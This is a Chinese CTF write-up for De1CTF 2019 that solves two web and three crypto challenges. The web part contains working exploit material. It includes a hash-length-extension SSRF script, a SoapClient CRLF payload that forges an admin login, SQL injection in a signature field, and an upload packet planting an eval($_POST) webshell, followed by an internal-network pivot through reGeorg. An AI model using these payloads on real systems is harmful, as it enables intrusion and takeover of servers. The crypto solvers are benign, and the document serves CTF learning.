2019 de1ctf

Web

SSRF Me

题目直接给了源码:

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#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

很明显是 ssrf 读文件+哈希长度扩展攻击,这里过滤了 file 协议,出题人本想考CVE-2019-9948 ,使用local_file协议读取文件,但是urlopen直接可以读文件,导致了非预期。。。

exp:

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import hashpumpy
import requests
from urllib import quote
param = 'local_file:flag.txt'
#param = "flag.txt"也可以
hash_value = requests.get("http://139.180.128.86/geneSign",params={'param':param}).text
new_hash_value,payload = hashpumpy.hashpump(hash_value,param+"scan","read",16)
payload = quote(payload[len(param):])
a = requests.get("http://139.180.128.86/De1ta",params={'param':param},cookies={'sign':new_hash_value,'action':payload})
print a.text

shellshellshell

这题把两个题强行拼到一起,加到内网里…

开始和2018 n1ctf Easy&&Hard Php 几乎一样,具体参考https://xz.aliyun.com/t/2148 ,直接打就完事了。

源码泄露拿到源码。

开始不知道是原题改的,审代码,审了很久发现 publish的signature 处有注入:

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function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {

$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic']))
{
$dir='/app/upload/';
move_uploaded_file($_FILES['pic']['tmp_name'],$dir.$_FILES['pic']['name']);
echo "<script>alert('".$_FILES['pic']['name']."upload success');</script>";
return true;
}
else
return false;


}

}

其中 signature 可控,我们可以注入。

注出管理员密码,md5反解是jaivypassword,登录发现限制了登录ip,卡住。

我的思路一直是 insert 语句中执行 update,把数据库中用户的 is_admin 给改掉,试了一万年也不行。。。(好像是做不到的)

直到看到是原题,照着上面的wp开始打。。。

浏览器先打开登录页面,得到PHPSESSID是f1vr5f8189lm6oqqtodqkvp7r6,md5是070a7 ,爆破一下验证码是915720,然后生成payload:

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<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=915720';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=f1vr5f8189lm6oqqtodqkvp7r6'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
1
4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a343a2261616162223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31313a225f757365725f6167656e74223b733a3230313a22777570636f0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a582d466f727761726465642d466f723a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d663176723566383138396c6d366f7171746f64716b76703772360d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6a6169767970617373776f726426636f64653d393135373230223b733a31333a225f736f61705f76657273696f6e223b693a313b7d

然后在签名处:

1564935289050

1564935320266

刷新一下PHPSESSID是f1vr5f8189lm6oqqtodqkvp7r6的浏览器页面,就是admin了。

进入admin,写个马,然后访问/upload/gml.php,就可以得到webshell,然后提示说flag在内网机器里。。。

ifconfig发现机器ip是172.18.0.3,扫一下发现内网 172.18.0.2 在 80端口开着一个web服务:

1564935675917

又是一道原题,去年上海市大学生网络安全竞赛的题。。。参考https://blog.cindemor.com/post/ctf-web-12.html

搭个代理,使用reGeorgSocksProxy,https://github.com/sensepost/reGeorg

burp配个二重代理:

1564992637886

构造了这个能写马数据包:

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POST / HTTP/1.1
Host: 172.18.0.2
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------444980421912
Content-Length: 650

-----------------------------444980421912
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

@<?php echo 1;@eval($_POST['gml']);?>
-----------------------------444980421912
Content-Disposition: form-data; name="file[1]"

123
-----------------------------444980421912
Content-Disposition: form-data; name="file[0]"

php/.
-----------------------------444980421912
Content-Disposition: form-data; name="hello"

php/../shell.php
-----------------------------444980421912
Content-Disposition: form-data; name="gml"

system("ls /");
-----------------------------444980421912--

发包:

1564992671844

爆破文件名:

1564993036390

题目中说flag含有flag关键字,直接查找:

1564993105214

1564993135656

Crypto

xorz

去年 HCTF 出过类似的,key循环使用异或很长的明文,这道题还异或了个salt,不过salt已知,异或回去就好了。

偷一波天枢HCTF当时的脚本:

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import libnum
import string


def bxor(a, b): # xor two byte strings of different lengths
if len(a) > len(b):
return bytes([x ^ y for x, y in zip(a[:len(b)], b)])
else:
return bytes([x ^ y for x, y in zip(a, b[:len(a)])])


def hamming_distance(b1, b2):
differing_bits = 0
for byte in bxor(b1, b2):
differing_bits += bin(byte).count("1")
return differing_bits


def break_single_key_xor(text):
key = 0
possible_space = 0
max_possible = 0
letters = string.ascii_letters.encode('ascii')
for a in range(0, len(text)):
maxpossible = 0
for b in range(0, len(text)):
if(a == b):
continue
c = text[a] ^ text[b]
if c not in letters and c != 0:
continue
maxpossible += 1
if maxpossible > max_possible:
max_possible = maxpossible
possible_space = a
key = text[possible_space] ^ 0x20
return chr(key)


b = libnum.n2s(int("1e5d4c055104471c6f234f5501555b5a014e5d001c2a54470555064c443e235b4c0e590356542a130a4242335a47551a590a136f1d5d4d440b0956773613180b5f184015210e4f541c075a47064e5f001e2a4f711844430c473e2413011a100556153d1e4f45061441151901470a196f035b0c4443185b322e130806431d5a072a46385901555c5b550a541c1a2600564d5f054c453e32444c0a434d43182a0b1c540a55415a550a5e1b0f613a5c1f10021e56773a5a0206100852063c4a18581a1d15411d17111b052113460850104c472239564c0755015a13271e0a55553b5a47551a54010e2a06130b5506005a393013180c100f52072a4a1b5e1b165d50064e411d0521111f235f114c47362447094f10035c066f19025402191915110b4206182a544702100109133e394505175509671b6f0b01484e06505b061b50034a2911521e44431b5a233f13180b5508131523050154403740415503484f0c2602564d470a18407b775d031110004a54290319544e06505b060b424f092e1a770443101952333213030d554d551b2006064206555d50141c454f0c3d1b5e4d43061e453e39544c17580856581802001102105443101d111a043c03521455074c473f3213000a5b085d113c194f5e08555415180f5f433e270d131d420c1957773f560d11440d40543c060e470b55545b114e470e193c155f4d47110947343f13180c100f565a000403484e184c15050250081f2a54470545104c5536251325435302461a3b4a02484e12545c1b4265070b3b5440055543185b36231301025b084054220f4f42071b1554020f430b196f19564d4002055d79",16))
b = bytes(b, encoding = "utf8")

normalized_distances = []

for KEYSIZE in range(2, 40):
b1 = b[: KEYSIZE]
b2 = b[KEYSIZE: KEYSIZE * 2]
b3 = b[KEYSIZE * 2: KEYSIZE * 3]
b4 = b[KEYSIZE * 3: KEYSIZE * 4]
b5 = b[KEYSIZE * 4: KEYSIZE * 5]
b6 = b[KEYSIZE * 5: KEYSIZE * 6]

normalized_distance = float(
hamming_distance(b1, b2) +
hamming_distance(b2, b3) +
hamming_distance(b3, b4) +
hamming_distance(b4, b5) +
hamming_distance(b5, b6)
) / (KEYSIZE * 5)
normalized_distances.append(
(KEYSIZE, normalized_distance)
)
normalized_distances = sorted(normalized_distances, key=lambda x: x[1])


for KEYSIZE, _ in normalized_distances[:5]:
block_bytes = [[] for _ in range(KEYSIZE)]
for i, byte in enumerate(b):
block_bytes[i % KEYSIZE].append(byte)
keys = ''
try:
for bbytes in block_bytes:
keys += break_single_key_xor(bbytes)
key = bytearray(keys * len(b), "utf-8")
plaintext = bxor(b, key)
print("keysize:", KEYSIZE)
print("key is:", keys, "n")
s = bytes.decode(plaintext)
print(s)
except Exception:
continue

de1ctf{W3lc0m3tOjo1nu55un1ojOt3m0cl3W}

babylfsr

给了生成的比特流,没给mask,256 bit,无爆破可能。

参考: https://blog.csdn.net/kevin66654/article/details/80554932

思路是根据生成的比特流,构造矩阵乘法来还原mask,相当于 M mask = C,其中M是256\256的矩阵,mask和C是256*1的列向量(方程中中所有的元素不是0就是1,加法相当于异或),高斯消元去掉 M ,得到mask。

但是这里面我们只有508个比特,还需要8个bit才能解出mask,这里我们需要爆破8个bit,每种情况求出的mask都去还原一下key,因为题目给了key sha256的前四位,所以可以去比对,前四位对上的就是flag。

脚本:

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# -*- coding: utf-8 -*-
import itertools
import hashlib

data = open("output", "r").read().strip()


def get_mask(stream):
dim = 256
magic = [map(int, list(stream[i:i + 256])) for i in range(256)]
cipher = map(int, list(stream[256:]))
assert len(cipher) == 256
#高斯消元
for j in range(dim):
for i in range(j, dim):
if magic[i][j] == 1:
magic[i], magic[j] = magic[j], magic[i]
cipher[i], cipher[j] = cipher[j], cipher[i]
break
for i in range(dim):
if magic[i][j] == 1 and i != j:
for k in range(dim):
magic[i][k] ^= magic[j][k]
cipher[i] ^= cipher[j]
return int(''.join(map(str, cipher)), 2)


def LFSR_inv(R, mask):
str = bin(R)[2:].zfill(256)
new = str[-1:] + str[:-1]
new = int(new, 2) # R循环右移一位得到new
i = (new & mask) & (2 ** 257 - 1)
lastbit = 0
while i != 0:
lastbit ^= (i & 1)
i = i >> 1
return R >> 1 | lastbit << 255 # 最高位用lastbit填充


def get_key(stream):
mask = get_mask(stream)
c = int(stream[:256], 2)
for _ in range(256):
c = LFSR_inv(c, mask)
return c


i = 0
for s in itertools.product("01", repeat=8):
stream = data + "".join(s)
KEY = get_key(stream)
flag = hashlib.sha256(hex(KEY)[2:].rstrip('L')).hexdigest()
if flag[:4] == "1224":
print "de1ctf{" + flag + "}"
break
else:
print "not ", i
i += 1

1564938682820

babyrsa

套娃一样,题目:

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import binascii
from data import e1,e2,p,q1p,q1q,hint,flag

n = [20129615352491765499340112943188317180548761597861300847305827141510465619670536844634558246439230371658836928103063432870245707180355907194284861510906071265352409579441048101084995923962148527097370705452070577098780246282820065573711015664291991372085157016901209114191068574208680397710042842835940428451949500607613634682684113208766694028789275748528254287705759528498986306494267817198340658241873024800336013946294891687591013414935237821291805123285905335762719823771647853378892868896078424572232934360940672962436849523915563328779942134504499568866135266628078485232098208237036724121481835035731201383423L, 31221650155627849964466413749414700613823841060149524451234901677160009099014018926581094879840097248543411980533066831976617023676225625067854003317018794041723612556008471579060428898117790587991055681380408263382761841625714415879087478072771968160384909919958010983669368360788505288855946124159513118847747998656422521414980295212646675850690937883764000571667574381419144372824211798018586804674824564606122592483286575800685232128273820087791811663878057827386379787882962763290066072231248814920468264741654086011072638211075445447843691049847262485759393290853117072868406861840793895816215956869523289231421L, 29944537515397953361520922774124192605524711306753835303703478890414163510777460559798334313021216389356251874917792007638299225821018849648520673813786772452822809546571129816310207232883239771324122884804993418958309460009406342872173189008449237959577469114158991202433476710581356243815713762802478454390273808377430685157110095496727966308001254107517967559384019734279861840997239176254236069001453544559786063915970071130087811123912044312219535513880663913831358790376650439083660611831156205113873793106880255882114422025746986403355066996567909581710647746463994280444700922867397754748628425967488232530303L, 25703437855600135215185778453583925446912731661604054184163883272265503323016295700357253105301146726667897497435532579974951478354570415554221401778536104737296154316056314039449116386494323668483749833147800557403368489542273169489080222009368903993658498263905567516798684211462607069796613434661148186901892016282065916190920443378756167250809872483501712225782004396969996983057423942607174314132598421269169722518224478248836881076484639837343079324636997145199835034833367743079935361276149990997875905313642775214486046381368619638551892292787783137622261433528915269333426768947358552919740901860982679180791L]
c = [19131432661217908470262338421299691998526157790583544156741981238822158563988520225986915234570037383888112724408392918113942721994125505014727545946133307329781747600302829588248042922635714391033431930411180545085316438084317927348705241927570432757892985091396044950085462429575440060652967253845041398399648442340042970814415571904057667028157512971079384601724816308078631844480110201787343583073815186771790477712040051157180318804422120472007636722063989315320863580631330647116993819777750684150950416298085261478841177681677867236865666207391847046483954029213495373613490690687473081930148461830425717614569L, 15341898433226638235160072029875733826956799982958107910250055958334922460202554924743144122170018355117452459472017133614642242411479849369061482860570279863692425621526056862808425135267608544855833358314071200687340442512856575278712986641573012456729402660597339609443771145347181268285050728925993518704899005416187250003304581230701444705157412790787027926810710998646191467130550713600765898234392350153965811595060656753711278308005193370936296124790772689433773414703645703910742193898471800081321469055211709339846392500706523670145259024267858368216902176489814789679472227343363035428541915118378163012031L, 18715065071648040017967211297231106538139985087685358555650567057715550586464814763683688299037897182845007578571401359061213777645114414642903077003568155508465819628553747173244235936586812445440095450755154357646737087071605811984163416590278352605433362327949048243722556262979909488202442530307505819371594747936223835233586945423522256938701002370646382097846105014981763307729234675737702252155130837154876831885888669150418885088089324534892506199724486783446267336789872782137895552509353583305880144947714110009893134162185382309992604435664777436197587312317224862723813510974493087450281755452428746194446L, 2282284561224858293138480447463319262474918847630148770112472703128549032592187797289965592615199709857879008271766433462032328498580340968871260189669707518557157836592424973257334362931639831072584824103123486522582531666152363874396482744561758133655406410364442174983227005501860927820871260711861008830120617056883514525798709601744088135999465598338635794275123149165498933580159945032363880613524921913023341209439657145962332213468573402863796920571812418200814817086234262280338221161622789516829363805084715652121739036183264026120868756523770196284142271849879003202190966150390061195469351716819539183797L]
f=lambda m,e,n,c:pow(m,e,n)==c
assert(sum(map(f,[p]*4,[4]*4,n,c))==4)

ee1 = 42
ee2 = 3
ce1 = 45722651786340123946960815003059322528810481841378247280642868553607692149509126962872583037142461398806689489141741494974836882341505234255325683219092163052843461632338442529011502378931140356111756932712822516814023166068902569458299933391973504078898958921809723346229893913662577294963528318424676803942288386430172430880307619748186863890050113934573820505570928109017842647598266634344447182347849367714564686341871007505886728393751147033556889217604647355628557502208364412269944908011305064122941446516990168924709684092200183860653173856272384
ce2 = 13908468332333567158469136439932325992349696889129103935400760239319454409539725389747059213835238373047899198211128689374049729578146875309231962936554403287882999967840346216695208424582739777034261079550395918048421086843927009452479936045850799096750074359160775182238980989229190157551197830879877097703347301072427149474991803868325769967332356950863518504965486565464059770451458557744949735282131727956056279292800694203866167270268988437389945703117070604488999247750139568614939965885211276821987586882908159585863514561191905040244967655444219603287214405014887994238259270716355378069726760953320025828158
tmp = 864078778078609835167779565982540757684070450697854309005171742813414963447462554999012718960925081621571487444725528982424037419052194840720949809891134854871222612682162490991065015935449289960707882463387
n = 15911581555796798614711625288508309704791837516232122410440958830726078821069050404012820896260071751380436992710638364294658173571101596931605797509712839622479368850251206419748090059752427303611760004621378226431226983665746837779056271530181865648115862947527212787824629516204832313026456390047768174765687040950636530480549014401279054346098030395100387004111574278813749630986724706263655166289586230453975953773791945408589484679371854113457758157492241225180907090235116325034822993748409011554673180494306003272836905082473475046277554085737627846557240367696214081276345071055578169299060706794192776825039
assert(pow(e1,ee1,n)==ce1)
assert(pow(e2+tmp,ee2,n)==ce2)

e = 46531
n = 16278524034278364842964386062476113517067911891699789991355982121084973951738324063305190630865511554888330215827724887964565979607808294168282995825864982603759381323048907814961279012375346497781046417204954101076457350988751188332353062731641153547102721113593787978587135707313755661153376485647168543680503160420091693269984008764444291289486805840439906620313162344057956594836197521501755378387944609246120662335790110901623740990451586621846212047950084207251595169141015645449217847180683357626383565631317253913942886396494396189837432429078251573229378917400841832190737518763297323901586866664595327850603
c = 14992132140996160330967307558503117255626925777426611978518339050671013041490724616892634911030918360867974894371539160853827180596100892180735770688723270765387697604426715670445270819626709364566478781273676115921657967761494619448095207169386364541164659123273236874649888236433399127407801843412677293516986398190165291102109310458304626261648346825196743539220198199366711858135271877662410355585767124059539217274691606825103355310348607611233052725805236763220343249873849646219850954945346791015858261715967952461021650307307454434510851869862964236227932964442289459508441345652423088404453536608812799355469
hint=int(binascii.hexlify(hint),16)
assert(q1p*q1q==n)
assert(q1p<q1q)
assert(c==pow(hint,e,n))

flag=int(binascii.hexlify(flag),16)
q1=q1p
q2 = 114401188227479584680884046151299704656920536168767132916589182357583461053336386996123783294932566567773695426689447410311969456458574731187512974868297092638677515283584994416382872450167046416573472658841627690987228528798356894803559278308702635288537653192098514966089168123710854679638671424978221959513
c1 = 262739975753930281690942784321252339035906196846340713237510382364557685379543498765074448825799342194332681181129770046075018122033421983227887719610112028230603166527303021036386350781414447347150383783816869784006598225583375458609586450854602862569022571672049158809874763812834044257419199631217527367046624888837755311215081173386523806086783266198390289097231168172692326653657393522561741947951887577156666663584249108899327053951891486355179939770150550995812478327735917006194574412518819299303783243886962455399783601229227718787081785391010424030509937403600351414176138124705168002288620664809270046124
c2 = 7395591129228876649030819616685821899204832684995757724924450812977470787822266387122334722132760470911599176362617225218345404468270014548817267727669872896838106451520392806497466576907063295603746660003188440170919490157250829308173310715318925771643105064882620746171266499859049038016902162599261409050907140823352990750298239508355767238575709803167676810456559665476121149766947851911064706646506705397091626648713684511780456955453552020460909638016134124590438425738826828694773960514221910109473941451471431637903182205738738109429736425025621308300895473186381826756650667842656050416299166317372707709596
assert(c1==pow(flag,e1,p*q1))
assert(c2==pow(flag,e2,p*q2))

先求p,四组明密文,e=4,直接广播攻击。

往下看,ee1=42,直接密文开42次方发现就可以了,ee2=3,这么小,直接c+i*n 开三次方爆破。

再往下看,e=46531,n是2048 bit,没啥特点,猜想p和q过于接近,使用wiki上的思想,成功分解n:

1564938645133

解出hint:

1
orz...you.found.me.but.sorry.no.hint...keep.on.and.enjoy.it!

emmmm

往下看,最终的flag部分,同一个flag用不同的n和e加密,e与phi的最大公因数是14,不互素,一下想起了 2018 EIS 高校运维挑战赛的一道题目,如出一辙。

基本思想就是 e与p-1的最大公因数是14,导致最多能搞到 flag**14 mod n,没法往下搞,由于两个n分别是 p*q1,p*q2,我们可以利用中国剩余定理,求出 flag ** 14 (mod p*q1*q2) 进而求出 flag**14 (mod q1q2),发现14 与 (q1-1)\(q2-1) 的最大公因数是2,我们得到 flag**2 mod (q1*q2),开方即可。

最终exp:

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# -*- coding: utf-8 -*-
import gmpy2
from libnum import *
def GCRT(mi, ai):
# mi,ai分别表示模数和取模后的值,都为列表结构
assert (isinstance(mi, list) and isinstance(ai, list))
curm, cura = mi[0], ai[0]
for (m, a) in zip(mi[1:], ai[1:]):
d = gmpy2.gcd(curm, m)
c = a - cura
assert (c % d == 0) #不成立则不存在解
K = c / d * gmpy2.invert(curm / d, m / d)
cura += curm * K
curm = curm * m / d
return (cura % curm, curm) #(解,最小公倍数)
n = [20129615352491765499340112943188317180548761597861300847305827141510465619670536844634558246439230371658836928103063432870245707180355907194284861510906071265352409579441048101084995923962148527097370705452070577098780246282820065573711015664291991372085157016901209114191068574208680397710042842835940428451949500607613634682684113208766694028789275748528254287705759528498986306494267817198340658241873024800336013946294891687591013414935237821291805123285905335762719823771647853378892868896078424572232934360940672962436849523915563328779942134504499568866135266628078485232098208237036724121481835035731201383423L, 31221650155627849964466413749414700613823841060149524451234901677160009099014018926581094879840097248543411980533066831976617023676225625067854003317018794041723612556008471579060428898117790587991055681380408263382761841625714415879087478072771968160384909919958010983669368360788505288855946124159513118847747998656422521414980295212646675850690937883764000571667574381419144372824211798018586804674824564606122592483286575800685232128273820087791811663878057827386379787882962763290066072231248814920468264741654086011072638211075445447843691049847262485759393290853117072868406861840793895816215956869523289231421L, 29944537515397953361520922774124192605524711306753835303703478890414163510777460559798334313021216389356251874917792007638299225821018849648520673813786772452822809546571129816310207232883239771324122884804993418958309460009406342872173189008449237959577469114158991202433476710581356243815713762802478454390273808377430685157110095496727966308001254107517967559384019734279861840997239176254236069001453544559786063915970071130087811123912044312219535513880663913831358790376650439083660611831156205113873793106880255882114422025746986403355066996567909581710647746463994280444700922867397754748628425967488232530303L, 25703437855600135215185778453583925446912731661604054184163883272265503323016295700357253105301146726667897497435532579974951478354570415554221401778536104737296154316056314039449116386494323668483749833147800557403368489542273169489080222009368903993658498263905567516798684211462607069796613434661148186901892016282065916190920443378756167250809872483501712225782004396969996983057423942607174314132598421269169722518224478248836881076484639837343079324636997145199835034833367743079935361276149990997875905313642775214486046381368619638551892292787783137622261433528915269333426768947358552919740901860982679180791L]
c = [19131432661217908470262338421299691998526157790583544156741981238822158563988520225986915234570037383888112724408392918113942721994125505014727545946133307329781747600302829588248042922635714391033431930411180545085316438084317927348705241927570432757892985091396044950085462429575440060652967253845041398399648442340042970814415571904057667028157512971079384601724816308078631844480110201787343583073815186771790477712040051157180318804422120472007636722063989315320863580631330647116993819777750684150950416298085261478841177681677867236865666207391847046483954029213495373613490690687473081930148461830425717614569L, 15341898433226638235160072029875733826956799982958107910250055958334922460202554924743144122170018355117452459472017133614642242411479849369061482860570279863692425621526056862808425135267608544855833358314071200687340442512856575278712986641573012456729402660597339609443771145347181268285050728925993518704899005416187250003304581230701444705157412790787027926810710998646191467130550713600765898234392350153965811595060656753711278308005193370936296124790772689433773414703645703910742193898471800081321469055211709339846392500706523670145259024267858368216902176489814789679472227343363035428541915118378163012031L, 18715065071648040017967211297231106538139985087685358555650567057715550586464814763683688299037897182845007578571401359061213777645114414642903077003568155508465819628553747173244235936586812445440095450755154357646737087071605811984163416590278352605433362327949048243722556262979909488202442530307505819371594747936223835233586945423522256938701002370646382097846105014981763307729234675737702252155130837154876831885888669150418885088089324534892506199724486783446267336789872782137895552509353583305880144947714110009893134162185382309992604435664777436197587312317224862723813510974493087450281755452428746194446L, 2282284561224858293138480447463319262474918847630148770112472703128549032592187797289965592615199709857879008271766433462032328498580340968871260189669707518557157836592424973257334362931639831072584824103123486522582531666152363874396482744561758133655406410364442174983227005501860927820871260711861008830120617056883514525798709601744088135999465598338635794275123149165498933580159945032363880613524921913023341209439657145962332213468573402863796920571812418200814817086234262280338221161622789516829363805084715652121739036183264026120868756523770196284142271849879003202190966150390061195469351716819539183797L]
p = gmpy2.iroot(GCRT(n,c)[0],4)[0]

n= 15911581555796798614711625288508309704791837516232122410440958830726078821069050404012820896260071751380436992710638364294658173571101596931605797509712839622479368850251206419748090059752427303611760004621378226431226983665746837779056271530181865648115862947527212787824629516204832313026456390047768174765687040950636530480549014401279054346098030395100387004111574278813749630986724706263655166289586230453975953773791945408589484679371854113457758157492241225180907090235116325034822993748409011554673180494306003272836905082473475046277554085737627846557240367696214081276345071055578169299060706794192776825039
ce1=45722651786340123946960815003059322528810481841378247280642868553607692149509126962872583037142461398806689489141741494974836882341505234255325683219092163052843461632338442529011502378931140356111756932712822516814023166068902569458299933391973504078898958921809723346229893913662577294963528318424676803942288386430172430880307619748186863890050113934573820505570928109017842647598266634344447182347849367714564686341871007505886728393751147033556889217604647355628557502208364412269944908011305064122941446516990168924709684092200183860653173856272384
e1 = gmpy2.iroot(ce1,42)[0]
ce2=13908468332333567158469136439932325992349696889129103935400760239319454409539725389747059213835238373047899198211128689374049729578146875309231962936554403287882999967840346216695208424582739777034261079550395918048421086843927009452479936045850799096750074359160775182238980989229190157551197830879877097703347301072427149474991803868325769967332356950863518504965486565464059770451458557744949735282131727956056279292800694203866167270268988437389945703117070604488999247750139568614939965885211276821987586882908159585863514561191905040244967655444219603287214405014887994238259270716355378069726760953320025828158
tmp=864078778078609835167779565982540757684070450697854309005171742813414963447462554999012718960925081621571487444725528982424037419052194840720949809891134854871222612682162490991065015935449289960707882463387
e2=864078778078609835167779565982540757684070450697854309005171742813414963447462554999012718960925081621571487444725528982424037419052194840720949809891134854871222612682162490991065015935449290342499311738517-tmp

n = 16278524034278364842964386062476113517067911891699789991355982121084973951738324063305190630865511554888330215827724887964565979607808294168282995825864982603759381323048907814961279012375346497781046417204954101076457350988751188332353062731641153547102721113593787978587135707313755661153376485647168543680503160420091693269984008764444291289486805840439906620313162344057956594836197521501755378387944609246120662335790110901623740990451586621846212047950084207251595169141015645449217847180683357626383565631317253913942886396494396189837432429078251573229378917400841832190737518763297323901586866664595327850603
c = 14992132140996160330967307558503117255626925777426611978518339050671013041490724616892634911030918360867974894371539160853827180596100892180735770688723270765387697604426715670445270819626709364566478781273676115921657967761494619448095207169386364541164659123273236874649888236433399127407801843412677293516986398190165291102109310458304626261648346825196743539220198199366711858135271877662410355585767124059539217274691606825103355310348607611233052725805236763220343249873849646219850954945346791015858261715967952461021650307307454434510851869862964236227932964442289459508441345652423088404453536608812799355469
e = 46531
l = gmpy2.iroot(n,2)[0]
x = 127587319253436643569312142058559706815497211661083866592534217079310497260365307426095661281103710042392775453866174657404985539066741684196020137840472950102380232067786400322600902938984916355631714439668326671310160916766472897536055371474076089779472372913037040153356437528808922911484049460342088835282
y = gmpy2.iroot(x*x-n,2)[0]
q1p=x-y
q1q=x+y
print n2s(pow(c,gmpy2.invert(e,(q1p-1)*(q1q-1)),n))

q1=q1p
q2 = 114401188227479584680884046151299704656920536168767132916589182357583461053336386996123783294932566567773695426689447410311969456458574731187512974868297092638677515283584994416382872450167046416573472658841627690987228528798356894803559278308702635288537653192098514966089168123710854679638671424978221959513
c1 = 262739975753930281690942784321252339035906196846340713237510382364557685379543498765074448825799342194332681181129770046075018122033421983227887719610112028230603166527303021036386350781414447347150383783816869784006598225583375458609586450854602862569022571672049158809874763812834044257419199631217527367046624888837755311215081173386523806086783266198390289097231168172692326653657393522561741947951887577156666663584249108899327053951891486355179939770150550995812478327735917006194574412518819299303783243886962455399783601229227718787081785391010424030509937403600351414176138124705168002288620664809270046124
c2 = 7395591129228876649030819616685821899204832684995757724924450812977470787822266387122334722132760470911599176362617225218345404468270014548817267727669872896838106451520392806497466576907063295603746660003188440170919490157250829308173310715318925771643105064882620746171266499859049038016902162599261409050907140823352990750298239508355767238575709803167676810456559665476121149766947851911064706646506705397091626648713684511780456955453552020460909638016134124590438425738826828694773960514221910109473941451471431637903182205738738109429736425025621308300895473186381826756650667842656050416299166317372707709596

c11 = pow(c1,gmpy2.invert(e1/14,(p-1)*(q1-1)),p*q1)
c22 = pow(c2,gmpy2.invert(e2/14,(p-1)*(q2-1)),p*q2)

M,C = GCRT([p*q1,p*q2],[c11,c22])

new_c = M%(q1*q2)
new_n = q1*q2

print n2s(gmpy2.iroot(pow(new_c,gmpy2.invert(7,(q1-1)*(q2-1)),new_n),2)[0])

de1ctf{9b10a98b-71bb-4bdf-a6ff-f319943de21f}

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